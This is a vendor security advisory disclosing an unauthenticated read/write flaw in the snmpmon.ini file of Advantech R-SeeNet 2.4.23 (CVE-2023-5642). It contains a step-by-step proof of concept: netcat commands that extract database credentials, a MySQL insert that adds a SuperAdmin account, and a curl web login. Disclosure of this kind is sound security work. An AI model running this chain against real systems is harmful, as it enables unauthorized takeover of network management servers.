Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Advantech R-SeeNet snmpmon.ini Unauthenticated Read Write

Critical

Synopsis

Advantech R-SeeNet v2.4.23 allows an unauthenticated remote attacker to read from and write to the snmpmon.ini file, which contains sensitive information. This information includes database login credentials and a default SNMP community string.

The attacker can leverage this issue to launch further attacks. For example, the attacker can login to the product database, create an application-level SuperAdmin user and login to the product web UI as a SuperAdmin user.

Proof of Concept

# Get the product version, database username and password
echo -n 'get Web.last_version; Database.User; Database.Password' | nc <target-host> 65031
R-SeeNet connect
Web.last_version 2.4.23;Database.User SNMPMON;Database.Password <REDACTED>

# Login to the product database and add a SuperAdmin user (i.e., rights=0)
mysql -h <target-host> -u SNMPMON -D snmpmon -p
Enter password:
[...]
mysql> INSERT INTO snmpmon.users (company_id, username, password, name, surname, email, phone, rights, edit_device) VALUES(0, 'operator', PASSWORD('password123'), NULL, NULL, NULL, NULL, 0, 0);
mysql> select company_id,username,password,rights from users where username='operator';
+------------+----------+-------------------------------------------+--------+
| company_id | username | password                                  | rights |
+------------+----------+-------------------------------------------+--------+
|          0 | operator | *A0F874BC7F54EE086FCE60A37CE7887D8B31086B |      0 |
+------------+----------+-------------------------------------------+--------+

# Login to the R-SeeNet web UI
curl -sk -d 'page=login_change&oper=0&username=operator&password=password123&submit=Login' 'https://<target-host>/index.php' | grep 'User is succesfully logged'
User is succesfully logged

Solution

Apply vendor-supplied patch.

Disclosure Timeline

August 15, 2023 - Tenable requests security contact. Vendor responds.
August 15, 2023 - Tenable discloses issues to vendor. Vendor acknowledges.
August 15, 2023 - Vendor requests clarification, Tenable responds.
October 3, 2023 - Tenable requests status update.
October 18, 2023 - Tenable notices vendor response from Oct. 3 went to spam. Vendor released patch.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-5642
Tenable Advisory ID: TRA-2023-33
CVSSv3 Base / Temporal Score:
9.8 / 8.8
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Advantech R-SeeNet v2.4.23
Risk Factor:
Critical

Advisory Timeline

October 18, 2023 - Initial release.